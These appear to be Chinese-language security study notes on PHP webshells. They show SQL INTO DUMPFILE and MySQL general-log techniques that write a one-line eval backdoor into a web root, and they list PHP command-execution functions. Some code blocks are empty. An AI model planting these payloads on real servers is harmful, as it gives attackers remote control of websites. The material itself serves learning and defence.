笔记31
Abstract: webshall 的原理,中国菜刀、AntSword 和 Behinder 的使用。
Table of Contents
学习目的
- 熟悉 PHP 命令执行的函数
- 理解什么是 webshell
- 能够写出一句话木马
- 能够利用大马
- 熟练中国菜刀的使用
- 理解 webshell 的变形
Webshell
Phpmyadmin
getshell 一般情况下,两种操作方式
SQL 语句 into outfile
1 | SELECT "123" INTO DUMPFILE "绝对路径"; # 直接写文件 |
1 | SELECT "<?php @eval($_POST['pass'])?>" INTO DUMPFILE "C:/phpStudy/PHPTutorial/www/a.php"; |
--secure-file-priv option
源代码拷贝到网站根目录中,之后修改权限
1 | chown -R apache: apache /var/www/html |
一定要弄清楚权限
php 代码 apache用户
数据库操作 SQL 语句 mysql 用户
mysql 日志写 webshell
mysql 每执行一个 sql 语句,就会把 sql 语句写入到文件日志中,但默认情况下,这个选项是关闭的,因此需要去开启这个选项,再设置日志路径,日志路径设置为网站目录,日志文件名字为 .php 结尾的文件
general log OFF -> ON 打开日志功能
1 | SHOW MASTER LOGS; |
执行任意 sql 语句,就能把内容存到 .php 结尾的文件中
1 | SELECT "<?php @eval($_POST["pass"])?>" |
除了 <?php ?>
其他均解析为 html
php 的短标签:
- php ?>
<% %>
- ?>
PHP基础
执行 PHP 代码:
eval(), assert()
执行系统命令:
* system() 输出并返回最后一行 shell 结果
* exec() 不输出结果,返回最后一行 shell 结果,所有结果可以保存一个返回的数组里面
* passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上
* popen()
* shell_exec()
* proc_open()
* pcntl_exec()
反引号 ` 这个实际上使用的是 shell_exec
exec()函数
exec函数,执行外部程序,不直接显示输出,只显示最后一行结果,一般把结果输出到数组中保存。
1 |
|
反引号
执行外部程序,不直接显示输出,与 shell_exec() 函数等同
1 |
|
Shell
shell 是系统的用户界面,提供了用户与内核进行交互操作的一种接口。
什么是 webshell
黑客在入侵了一个网站后,通常会留下一个 asp、aspx、jsp、php 等脚本后门文件与网站 web 服务器进行交互,得到了一个命令执行环境,以达到控制网站服务器的目的,这个后门文件就是所谓的 webshell。
一句话木马介绍
一句话木马是 webshell 的一种,由与这类 webshell 代码比较少,往往只有一行代码,所以就被称为一句话木马。
一句话木马虽然代码简单,但结合中国菜刀等 webshell 管理工具,它们的功能确实非常强大的。